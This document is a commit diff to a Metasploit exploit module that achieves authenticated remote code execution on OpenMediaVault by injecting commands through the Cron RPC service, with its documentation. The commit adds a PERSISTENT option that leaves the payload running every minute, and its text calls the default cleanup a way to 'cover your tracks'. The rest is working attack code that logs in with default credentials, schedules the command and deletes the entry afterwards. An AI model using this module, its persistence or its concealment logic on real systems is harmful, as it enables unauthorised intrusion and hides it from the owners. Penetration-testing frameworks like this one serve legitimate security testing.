update based on review comments of jvoisin

Author: h00die-gr3y

documentation/modules/exploit/multi/http/openmediavault_auth_cron_rce.md

@@ -60,6 +60,10 @@ This option is required and is the username (default: admin) to authenticate wit
 ### PASSWORD
 This option is required and is the password (default: openmediavault) in plain text to authenticate with the application.
 
+### PERSISTENT
+This option keeps the payload persistent in Cron and runs every minute. Warning: This is a noisy option for detection.
+The default value is false, where the payload is removed to cover your tracks.
+
 ## Scenarios
 ```msf
 msf6 exploit(multi/http/openmediavault_auth_cron_rce) > info
@@ -101,6 +105,7 @@ Basic options:
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   openmediavault   yes       The OpenMediaVault password to authenticate with
+  PERSISTENT  false           yes       Keep the payload persistent in Cron. Default value is false, where the payload is removed
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)

modules/exploits/multi/http/openmediavault_auth_cron_rce.rb

@@ -71,7 +71,8 @@ def initialize(info = {})
       [
         OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']),
         OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),
-        OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault'])
+        OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']),
+        OptBool.new('PERSISTENT', [true, 'Keep the payload persistent in Cron. Default value is false, where the payload is removed', false])
       ]
     )
   end
@@ -91,7 +92,7 @@ def rpc_success?(res)
   def login(user, pass)
     print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")
     res = send_request_cgi({
-      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
+      'uri' => normalize_uri(target_uri.path, 'rpc.php'),
       'method' => 'POST',
       'keep_cookies' => true,
       'ctype' => 'application/json',
@@ -111,7 +112,7 @@ def login(user, pass)
   def check_version
     print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.')
     res = send_request_cgi({
-      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
+      'uri' => normalize_uri(target_uri.path, 'rpc.php'),
       'method' => 'POST',
       'keep_cookies' => true,
       'ctype' => 'application/json',
@@ -140,7 +141,7 @@ def check_version
   def apply_config_changes
     # Apply OpenMediaVault configuration changes
     send_request_cgi({
-      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
+      'uri' => normalize_uri(target_uri.path, 'rpc.php'),
       'method' => 'POST',
       'ctype' => 'application/json',
       'keep_cookies' => true,
@@ -162,10 +163,8 @@ def execute_command(cmd, _opts = {})
     # OpenMediaVault v1.0.0 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'
     # OpenMediaVault < 1.0.0 is not supported in this module. It will never reach here because the login will fail
     # MSF module: exploit/multi/http/openmediavault_cmd_exec can be used to exploit these versions
-    schedule = '*'
-    schedule = ['*'] if @version_number >= Rex::Version.new('6.0.15-1')
-    uuid = 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'
-    uuid = 'undefined' if @version_number <= Rex::Version.new('3.0.15')
+    schedule = @version_number >= Rex::Version.new('6.0.15-1') ? ['*'] : '*'
+    uuid = @version_number <= Rex::Version.new('3.0.15') ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'
     post_data = {
       service: 'Cron',
       method: 'set',
@@ -191,7 +190,7 @@ def execute_command(cmd, _opts = {})
     }.to_json
 
     res = send_request_cgi({
-      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
+      'uri' => normalize_uri(target_uri.path, 'rpc.php'),
       'method' => 'POST',
       'ctype' => 'application/json',
       'keep_cookies' => true,
@@ -211,31 +210,33 @@ def execute_command(cmd, _opts = {})
   end
 
   def on_new_session(_session)
-    # try to cleanup cron entry in OpenMediaVault
-    res = send_request_cgi({
-      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
-      'method' => 'POST',
-      'ctype' => 'application/json',
-      'keep_cookies' => true,
-      'data' => {
-        service: 'Cron',
-        method: 'delete',
-        params: {
-          uuid: @cron_uuid.to_s
-        },
-        options: nil
-      }.to_json
-    })
-    if rpc_success?(res)
-      # Apply changes and update cron configuration to remove the payload entry
-      res = apply_config_changes
+    # try to cleanup cron entry in OpenMediaVault unless PERSISTENT option is true
+    unless datastore['PERSISTENT']
+      res = send_request_cgi({
+        'uri' => normalize_uri(target_uri.path, 'rpc.php'),
+        'method' => 'POST',
+        'ctype' => 'application/json',
+        'keep_cookies' => true,
+        'data' => {
+          service: 'Cron',
+          method: 'delete',
+          params: {
+            uuid: @cron_uuid.to_s
+          },
+          options: nil
+        }.to_json
+      })
       if rpc_success?(res)
-        print_good('Cron payload entry successfully removed.')
+        # Apply changes and update cron configuration to remove the payload entry
+        res = apply_config_changes
+        if rpc_success?(res)
+          print_good('Cron payload entry successfully removed.')
+        else
+          print_warning('Cannot apply the cron changes to remove the payload entry.')
+        end
       else
-        print_warning('Cannot apply the cron changes to remove the payload entry.')
+        print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')
       end
-    else
-      print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')
     end
     super
   end
@@ -246,7 +247,7 @@ def check
 
     @version_number = check_version
     unless @version_number.nil?
-      if @version_number <= Rex::Version.new('7.3.1-1') && @version_number >= Rex::Version.new('1.0.0')
+      if @version_number.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.3.1-1'))
         return CheckCode::Vulnerable("Version #{@version_number}")
       else
         return CheckCode::Appears("Version #{@version_number} can be exploited with module exploit/multi/http/openmediavault_cmd_exec") if @version_number < Rex::Version.new('1.0.0')